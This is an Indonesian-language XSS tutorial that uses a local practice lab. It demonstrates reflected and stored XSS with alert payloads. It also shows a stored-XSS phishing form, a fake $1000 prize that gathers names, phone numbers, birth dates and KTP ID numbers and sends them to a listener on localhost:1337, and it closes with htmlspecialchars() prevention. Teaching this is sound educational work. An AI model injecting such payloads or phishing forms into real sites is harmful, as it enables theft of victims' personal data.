Disclaimer
Tulisan ini bertujuan untuk mengedukasi serta memberikan pengetahuan kepada setiap individu. saya harap teman-teman dapat menggunakan ilmu yang didalam tulisan ini dengan bijak. saya tidak bertanggung jawab atas tindakan yang merugikan pihak lain.
Introduction
Pada tulisan kali ini saya akan membahas mengenai kerentanan yang sering atau umum kita jumpai yaitu Cross Site Scripting. sebelum ke menu utama tulisan ini, teman-teman direkomendasikan untuk menginstall lab yang saya buat terlebih dahulu untuk mendapatkan pemahaman yang lebih baik
Goal dari tulisan ini adalah teman-teman dapat memahami apa itu Cross Site Scripting, bagaimana Cross Site Scripting bisa terjadi, menganalisa kode yang memiliki kerentanan Cross Site Scripting, cara menyerang dengan Cross Site Scripting, serta mengetahui tindakan preventive untuk mencegah Cross Site Scripting.
Cross Site Scripting
Cross Site Scripting atau bisa disebut dengan XSS merupakan sebuah kerentanan pada sisi client side dimana penyerang dapat menyisipkan malicious code berupa javascript. kerentanan ini terjadi ketika tidak ada validasi input atau filterisasi terhadap metakarakter berbahaya sehingga penyerang dapat menyisipkan malicious code berupa javascript yang akan dirender oleh web browser.
Dampak dari Cross Site Scripting sendiri tergantung dari tipe kerentanan tersebut, XSS sendiri memiliki beberapa tipe kerentanan yang umum dan berbeda, diantaranya adalah Reflected XSS dan Stored XSS.
Reflected XSS
Reflected XSS merupakan sebuah tipe kerentanan dari XSS yang bersifat sementara, dimana malicious code yang disisipkan tidak tersimpan pada aplikasi namun XSS tipe ini akan sangat berbahaya apabila didukung dengan Social Engineering. tipe xss ini sering kali dijumpai pada fungsi pencarian sebuah website. untuk membahas kerentanan ini kita dapat mengakses lab yang sudah kita install sebelumnya
http://localhost/md_labs/
setelah berhasil diakses selanjutnya klik Reflected maka kita akan diarahkan kehalaman bermain kita seperti yang dapat dilihat pada gambar dibawah ini
Turu Search Engine pada gambar diatas tersebut ditunjukan terdapat sebuah form insert keyword untuk mencari informasi yang dibutuhkan, mari kita coba untuk inputkan dan submit terlebih dahulu
http://localhost/md_labs/playground/01-Reflected-XSS/?q=testing
dapat dilihat pada gambar diatas tersebut form tersebut mengirimkan data dengan GET Method yang dimana data yang kita inputkan akan ditampilkan pada halaman tersebut, selanjutnya mari kita lihat isi dari source codenya pada file playground/01-Reflected-XSS/index.php
dapat dilihat pada kode tersebut bahwa data yang ditampilkan dari parameter “q” akan langsung ditampilkan tanpa adanya filterisasi sehingga memungkinkan kita untuk menyisipkan karakter seperti “ > < ‘ ( ) = selanjutnya mari kita coba untuk menyisipkan kode html <h1>testing</h1> untuk mengecheck apakah tag tersebut akan dirender oleh browser atau tidak
pada gambar diatas tersebut menunjukan bahwa kode html <h1>testing</h1> berhasil dieksekusi atau dirender oleh browser. selanjutnya kita dapat mencoba untuk menyisipkan kode javascript <script>alert(“xss”)</script>
dapat dilihat pada gambar diatas tersebut kode javascript yang kita kita sisipkan berhasil dieksekusi oleh browser.
tipe XSS ini memang tidak terlalu berbahaya, akan tetapi apabila didukung dengan serangan Social Engineering memungkinkan penyerang mendapatkan informasi seperti cookie dari url yang terdapat malicious script tersebut dan dikirimkan kepada target, atau penyerang dapat mengahilkan client ke halaman palsu atau phishing dengan menggunakan window.location pada javascript.
Stored XSS
Stored XSS merupakan sebuah tipe kerentanan dari XSS yang cukup berbahaya dimana malicious code yang disisipkan akan tersimpan (Persistent) pada aplikasi, tipe ini biasanya terjadi pada form insert data pada aplikasi. penyerang bisa mendapatkan informasi tujuan apabila client mengunjungi halaman yang terdapat malicious script tersebut.
untuk membahas tipe ini kita dapat mengakses lab yang sudah kita install sebelumnya
http://localhost/md_labs/
setelah berhasil diakses selanjutnya klik Stored maka kita akan diarahkan kehalaman bermain kita seperti yang dapat dilihat pada gambar dibawah ini
pada gambar diatas tersebut merupakan sebuah artikel yang memiliki fungsi anonymous comment, dimana seseorang dapat menuliskan komentar secara anonymous dan tersimpan pada database. mari kita coba untuk menginputkan kata testing
dapat dilihat pada gambar diatas tersebut kita berhasil menginputkan kata testing yang dikirimkan kepada comment.php dengan POST Method serta parameter comment
http://localhost/md_labs/playground/02-Stored-XSS/comment.php
selanjutnya mari kita lihat source code dari comment.php pada playground/02-Stored-XSS/comment.php
dapat dilihat dari kode tersebut bahwa tidak ada filterisasi dari karakter untuk $_POST[‘comment’] sehingga kita dapat mencoba untuk menyisipkan kode html <h1>testing</h1> untuk mencheck apakah kode tersebut tersimpan dan tereksekusi oleh browser atau tidak
dapat dilihat pada gambar diatas tersebut bahwa kode html yang disisipkan berhasil tersimpan pada database dan ditampilkan pada halaman tersebut serta kode tersebut berhasil tereksekusi dengan baik. selanjutnya mari kita coba untuk menyisipkan kode javascript <script>alert(“xss”)</script>
dapat dilihat pada gambar diatas tersebut payload javascript yang kita sisispkan berhasil tereksekusi dengan baik oleh browser.
Cross Site Scripting tidak hanya tentang menampilkan alert, akan tetapi tentang bagaimana cara kita untuk mendapatkan informasi melalui kerentanan tersebut
berikut ini merupakan contoh serangan Stored XSS untuk mendapatkan informasi mengenai korban.
kita dapat menghapus history kode kita dengan menekan tombol reset pada pojok kiri atas
kita telah mengetahui bahwa stored xss merupakan xss yang tersimpan pada aplikasi, selanjutnya kita akan mendapatkan data-data dari korban dengan memanfaatkan kerentanan Stored XSS dengan membuat sebuah form input dengan html. sebelumnya kita membutuhkan sebuah server untuk menangkap request yang dikirimkan dari form yang akan kita buat kita dapat mengetikan perintah berikut ini
php -S localhost:1337
selanjutnya kita dapat membuat sebuah form html dengan kode berikut ini dan sisipkan pada inputan yang memiliki kerentanan stored xss
<b>Congratulation! you got prize $1000, please fill this form below</b>
<form action="http://localhost:1337/" method="GET">
<input type="text" name="name" placeholder="Fullname">
<input type="text" name="phone" placeholder="Phone">
<input type="text" name="dob" placeholder="Date of Birth">
<input type="text" name="ktp" placeholder="KTP Number">
<button type="submit">Submit</button>
</form>
dapat dilihat pada gambar diatas tersebut, form yang telah kita buat berhasil dieksekusi oleh browser, selanjutnya mari kita coba inputkan beberapa data dummy untuk mengecheck apakah data tersebut terkirim ke server kita tau tidak
dapat dilihat pada gambar diatas tersebut kita berhasil mendapatkan data dummy tersebut yang dikirimkan ke server kita.
Prevention
untuk melakukan pencegahan terhadap Cross Site Scripting kita dapat menerapkan filterisasi pada setiap karakter, pada php kita bisa memanfaatkan sebuah fungsi htmlspecialchars() untuk mencegah terjadinya Cross Site Scripting. fungsi tersebut berguna untuk melakukan convert terhadap karakter yang telah ditentukan seperti & “ ‘ < > menjadi html entities. seperti yang dapat dilihat pada gambar dibawah ini merupakan penggunaan htmlspecialchars() untuk mencegah Cross Site Scripting
Reflected XSS
testing malicious code
dapat dilihat pada gambar diatas tersebut malicious code tidak dieksekusi atau dirender oleh browser
Stored XSS
testing malicious code
dapat dilihat pada gambar diatas tersebut malicious code tidak dieksekusi atau dirender oleh browser
QUIZ
Berikut ini merupakan Quiz yang saya buat untuk mengetahui pengetahuan apa saja yang teman-teman dapatkan dari tulisan ini
Penutup
Pada tulisan ini kita sudah membahas tentang Pengertian dari Cross Site Scripting, tipe-tipe dari Cross Site Scripting, menganalisa kode yang memiliki kerentan Cross Site Scripting, Skenario serangan Cross Site Scripting serta tindakan Preventive untuk mencegah Cross Site Scripting. saya harap tulisan ini dapat bermanfaat, Sekian tulisan kali ini apabila terdapat salah kata atau penyampaian saya meminta maaf sebesar-besarnya sampai bertemu pada tulisan selanjutnya.